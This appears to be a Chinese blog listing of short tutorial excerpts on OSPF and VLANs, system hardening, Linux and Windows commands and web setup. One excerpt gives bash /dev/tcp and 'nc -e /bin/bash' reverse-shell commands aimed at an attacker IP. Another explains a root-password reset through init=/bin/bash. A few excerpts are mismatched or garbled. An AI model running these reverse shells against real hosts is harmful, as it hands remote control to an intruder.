- 博客(22)
- 收藏
- 关注
RSS订阅
1原创 ensp：ospf配置，同vlan间通信，不同vlan间通信
OSPF：R1配置R2测试如下R1路由表如下同vlan间通信：配置同一网段ip后可直接通信，默认vlan1.ARP：pc 4在与其他pc通信时，会发送广播请求对面ip的mac地址，随后交换机学习到mac地址，后发送数据。不同网段间vlan通信：局域网内pc之间若要通信，必须在同一网段和同一vlan中，而如果不在同一vlan和网段中，则需要网关才能通信。pc9可以ping通pc8，却ping不同pc10交换机配置如下：1...
2021-12-22 19:43:27
1918
原创 OSI与TCP
OSI七层模型与TCP/IP协议栈模型对应关系 OSI七层模型 TCP/IP 应用层--------------↓ 表示层---------------应用层 会话层--------------↑ 传输层---------------传输层 网络层---------------网络层 数据链路层---------↓ 物理层---------------数据链路层各个层对应协议有哪些？应用层：http.smtp.sbmp.ftp...
2021-12-20 19:08:51
1947
原创 基线管理之MariaDB安全配置
一台CentOS8 已安装MariaDB数据库一、操作系统级权限检查1、检查数据库的运行权限，不建议以root运行数据库，防止越权攻击ps -ef | egrep "^mysql.*$"如图显示mysqld的运行用户为mysql2、禁用mariadb的历史记录功能查找缓存文件find $HOME -name ".mysql_history"将缓存文件指向空文件rm -f $HOME/.mysql_historyln -s /dev/null $HOME/.
2021-12-13 20:05:01
60
原创 基线管理之安全配置
变量是用于存储信息的"容器"PHP 变量规则：变量以 $ 符号开始，后面跟着变量的名称变量名必须以字母或者下划线字符开始变量名只能包含字母、数字以及下划线（A-z、0-9 和 _ ）变量名不能包含空格变量名是区分大小写的（$y 和 $Y 是两个不同的变量）...
2021-12-13 19:40:24
286
原创 基线管理之Centos安全配置
一、网络配置1、检查不用的连接使用以下命令ip linl show up如下图，发现有两个连接一个为lo，一个为eth0，如果有需要关闭的接口，可以使用ip link setdown2、关闭IP转发先查看ip转发配置sysctl net.ipv4.ip_forward查看发现为0，如果是1，可以使用下面命令改为0sysctl -w net.ipv4.ip_forward=03、关闭数据包重定向查看数据包重定向设置sysctl net.ipv4...
2021-12-13 17:41:20
122
原创 windows主机加固(2)
变量是用于存储信息的"容器"PHP 变量规则：变量以 $ 符号开始，后面跟着变量的名称变量名必须以字母或者下划线字符开始变量名只能包含字母、数字以及下划线（A-z、0-9 和 _ ）变量名不能包含空格变量名是区分大小写的（$y 和 $Y 是两个不同的变量）...
2021-12-09 20:45:45
578
原创 windows基础命令
win+r 输入cmd进入dos命令界面命令 + /? 知道命令详细用法设定出房地产不吃饭的重不吃饭的重dir // 列出所有文件，==lsdir -a //列出隐藏文件cd //进入某一个目录，文件夹有空格，需要双引号没有空格，不需要引号列出c盘目录下的所有文件,切换目录时D:md 文件夹名 //创建文件夹tree 命令以树状结构列出文件形式Ren 旧文件名 新文件名 //重命名文件...
2021-12-08 20:18:29
485
原创 linux系统用户加固
一、cat /etc/shadow 查看有多少账户使用命令 userdel <用户名> 删除不必要的账号。使用命令 passwd -l <用户名> 锁定不必要的账号。使用命令 passwd -u <用户名> 解锁必要的账号。二、查看空口令和root权限账号，确认是否存在异常账号：使用命令 awk -F: '($2=="")' /etc/shadow 查看空口令账号。使用命令 awk -F: '($3==0)' /etc/p...
2021-12-07 17:56:08
373
原创 CentOS服务器密匙登录
密码学之使用密钥登录SSH服务器实验目的掌握SSH密钥登录的配置与应用实验拓扑实验环境两台centos服务器一台作为SSH服务器一台作为SSH客户端，使用密钥连接SSH服务器实验原理SSH登录除了传统的密码登录，可以使用密钥文件登录，结合PAM模块，也可以实现双因子登录等。实验步骤一、配置服务器SSH密钥登录以下操作使用服务器进行1、编辑SSH配置文件vim /etc/ssh/sshd_config2、删除#号删除Pub.
2021-12-06 20:02:58
2329
原创 php,python输出乘法表
代码如下<?php$a = 1;$b = 1;while ($a <= 9){ while($a >= $b) { $c = $a * $b; echo "$b*$a=$c | "; if ($a == $b) { echo "<br>"; ...
2021-12-01 20:55:39
626
原创 phpStudy环境配置
配置环境以小皮为例Windows版phpstudy下载 - 小皮面板(phpstudy)一、安装完phpStudy后打开二、设置→文件位置三、找到文件下载路径四、此电脑→右键→属性→高级系统设置→环境变量→系统变量找到Path五、把4个文件的路径新建到Path里六、重启电脑后就可以在cmd里面输入php -v等命令。...
2021-11-30 17:42:57
1400
原创 http协议概述
HyperTextTransferProtocol ：超文本传输协议 HTTP协议定义Web客户端如何从Web服务器请求Web页面，以及服务器如何把Web页面传送给客户端。HTTP协议采用了请求/响应模型。客户端向服务器发送一个请求报文，请求报文包含请求的方法、URL、协议版本、请求头部和请求数据。服务器以一个状态行作为响应，响应的内容包括协议的版本、成功或者错误代码、服务器信息、响应头部和响应数据。HTTP连接建立需要经过三次握手第一次握手：建立连接时，客户端发送syn包到服务器...
2021-11-29 19:30:08
1628
原创 HTML制作简单的静态页面
（1）创建文本文档，并把后缀改为html或htm。（2）打开html文件，打开方式为文本文档打开。（3）编辑页面。<!DOCTYPE html><!-- 声明为html5文档--><html><!--完整的html页面，代码都需要在里面输入--><head>...
2021-11-29 16:59:46
2557
原创 linux的几种shell反弹
一、basn反弹开启监听端口，被攻击者ip为攻击者的。kali为攻击者。nc -lvvp 10000 bash -i >& /dev/tcp/192.168.96.133/10000 0>&1nc反弹nc -e /bin/bash 192.168.96.133 10000虽然没有输入框，但其实已经反弹成功，python反弹，需要有python环境。nc -lvvp 10000 ...
2021-11-26 19:22:41
91
原创 sed与awk
sedsed：流处理编辑器，帮我我们自动处理文件，分析日志文件，修改配置文件等。查找包含字符的行cat 1.txt| sed -n 'abc/p' //查找1.txt中包含abc的行。添加文件内容sed -e '2a hello word' 1.txt //在第2行添加hello word。删除文件内容cat -n 1.txt | sed -e '2,3d' //删除2到3行。删除包含字...
2021-11-25 21:01:43
231
原创 CentOS7安装httpd，启用Apache
一、安装httpdyum install httpd -y二、重启httpd服务systemctl start httpd 三、关闭防火墙systemctl stop firewalld.service四、测试在浏览器输入本机地址，默认80端口，进入网页或127.0.0.1:80进入。（下图端口已修改为8080）linux输入一下命令确认是否搭建成功curl http://ip:80 //(...
2021-11-25 17:37:10
793
原创 CentOS7安装宝塔面板，部署网站
宝塔官网：宝塔linux面板命令大全 - 宝塔面板一、安装Centos安装脚本yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh二、启用bt //linux启用宝塔三、进入Windows浏览器输入ip:8888进入宝塔界面宝塔默认8888端口...
2021-11-25 17:14:59
589
原创 linux命令（2）
1.查看磁盘空间df //-h以高可读性显示2.查看内存使用情况free //-m单位以M显示3.统计文件内容信息wc 文件名 //-c字节数 -w单词数 -l行数4.显示系统时间date //5.查看主机名hostname //查看主机名hostname name //更改主机名6.控制服务service 服务名 start|stop|restart //启动start，停...
2021-11-24 19:30:18
610
原创 linux 忘记root 密码如何登陆，kali 更新软件源，排除网络故障
linux 忘记root 密码如何登陆一、1.在加载界面是按E进入编辑模式2.将下图ro改为rw，在最后面添加init=/bin/bash改完如下，按F10进去。3.输入passwd 用户名，随后输入两次密码，密码不显示。4.显示passwd update successfully说明密码修改成功。关机重启，输入新密码。二、更新kali软件源1.编辑配置文件sources.list命令：vim /etc/apt/sources.li...
2021-11-23 17:58:11
215
原创 linux基础命令
一、目录操作1.进入目录cd 文件名 //进入目标文件夹，绝对路径/相对路径。~：当前用户目录。..:上一级目录。-:上一次访问目录。2.查看目录ls //查看当前目录下信息。-a查看隐藏目录。-l长格式显示目录详细信息。-t按时间进行目录排序。3.创建目录mkdir 目录名//在当前目录下创建目录，绝对路径/相对路径。-p递归创建。4.删除目录/文件rm 目录/文件 //-r递归删除，来删除非空目录。-f忽略提示。可组合使用5.搜索文件/目...
2021-11-23 11:15:03
293
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人